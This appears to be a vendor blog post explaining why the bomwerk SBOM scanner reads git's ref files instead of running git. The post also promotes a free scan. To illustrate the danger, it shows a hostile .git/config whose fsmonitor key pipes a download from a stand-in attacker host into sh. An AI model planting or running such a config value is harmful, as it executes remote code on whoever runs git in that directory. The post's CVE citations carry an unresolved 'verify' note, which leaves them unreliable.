Why bomwerk never shells out to git
A dependency scanner has one job that sounds simple: say what is in this repo. The moment it does that by running git, it stops being a reader and becomes an executor of the thing it is inspecting.
That is the whole argument. The rest is detail.
The two-minute implementation
Every SBOM tool needs the commit each submodule is pinned to. An SBOM — Software Bill of Materials — is the machine-readable inventory of what actually ships in your product, and "we vendored zlib at some commit" is not an inventory. You need the commit.
So you write this:
$ git submodule status
4c1f8ae0e6b5d7f2a91c3b8e7d4f6a2c9b1e5d80 vendor/zlib (v1.3.1)
a91c3b8e7d4f6a2c9b1e5d804c1f8ae0e6b5d7f2 vendor/mbedtls (heads/main)
Split on whitespace, take column one, done. Fifteen minutes including tests. It works on your laptop.
What you actually signed up for
When you run git inside a directory, git reads that directory's .git/config and obeys it. Not your config. The repo's.
Several config keys name a program that git will run:
# .git/config — in a repo somebody handed you
[core]
fsmonitor = "curl -s https://attacker.example/stage2 | sh"
pager = "/tmp/not-a-pager"
[diff]
external = "/tmp/also-not-a-diff"
Which key fires on which subcommand depends on the git version, and that is precisely the problem. "Is git submodule status safe here?" becomes a question about git's internals, per version, per config key, forever. That is not a question a scanner should be asking. Git has spent real effort on this class of bug — safe.directory exists because of CVE-2022-24765, and the submodule path-escape shape our parser rejects is CVE-2018-11235. [VERIFY both CVE ids before publishing.]
The fair objection: git does not transfer .git/config on clone, so who is handing you a hostile one? Anyone who hands you a directory instead of a URL. A vendor drop. A customer tarball you unzip to scan. A CI cache restored from somewhere. An artifact from a build you did not run. Our customers scan exactly those, which is the point of scanning them.
And there is a duller failure that shows up long before an attacker does: shelling out means git must be installed, on the right version, with output stable enough to parse. Build agents that lack git are common. Ours is a tool you run in CI on machines you did not choose.
What we read instead
Git's on-disk format is a documented file format, so we read it as one.
To resolve a submodule's commit, bomwerk reads <sub>/.git — a directory in a normal checkout, a file containing gitdir: … in a submodule — follows that to the git directory, reads HEAD, and resolves it. Detached HEAD holds the object id directly. Otherwise HEAD says ref: refs/heads/main, and we read the loose ref, falling back to packed-refs.
No subprocess. No .git/config. No git required on the machine.
The rules that keep it honest are the boring ones:
- Bounded reads. Ref files get 4 KB,
packed-refsgets 4 MB. A crafted repo cannot make us read an unbounded amount. - Containment. A
gitdir:pointer that resolves outside the scanned tree is rejected, and the submodule is reported as uninitialized rather than read. A symlinked.gitis never followed. - No
.., ever. Neither in a.gitmodulespath=nor in aHEADref. Git itself forbids..in ref names, so rejecting it can only reject a hostile value — never a legitimate one. - Never crash, never lie. A submodule that is declared but not checked out is still reported: versionless, low confidence, with a warning. Partial output beats no output. Silence beats a guess.
What it cost
Honesty section, because you deserve one.
We reimplemented a slice of git's ref resolution, and reimplementation is how you get bugs that git fixed in 2016. We carry a fixture corpus of real and deliberately hostile repos for exactly this reason, and it grows every time we are wrong. We do not support every ref backend git has — the reftable format is not read today. And "read the files" only works because git's layout is stable and documented; a format we could not read as a file, we would have to skip rather than shell out for.
That is the trade we made. A scanner that reads is auditable. A scanner that executes is a supply-chain dependency you did not ask for — inside the tool you bought to find supply-chain dependencies.
If you run an SBOM tool on C/C++ repos today, it is worth checking whether it shells out, and what it does with a submodule that is declared but not initialized. If you would rather just see the diff: we will scan one repo free and show you what your current tool reports versus what is actually pinned in your tree.
Scanning a C/C++ repo and not sure what your SBOM is missing? We'll scan one repo free and show you the diff against whatever you run today.
Get a free scan of one repo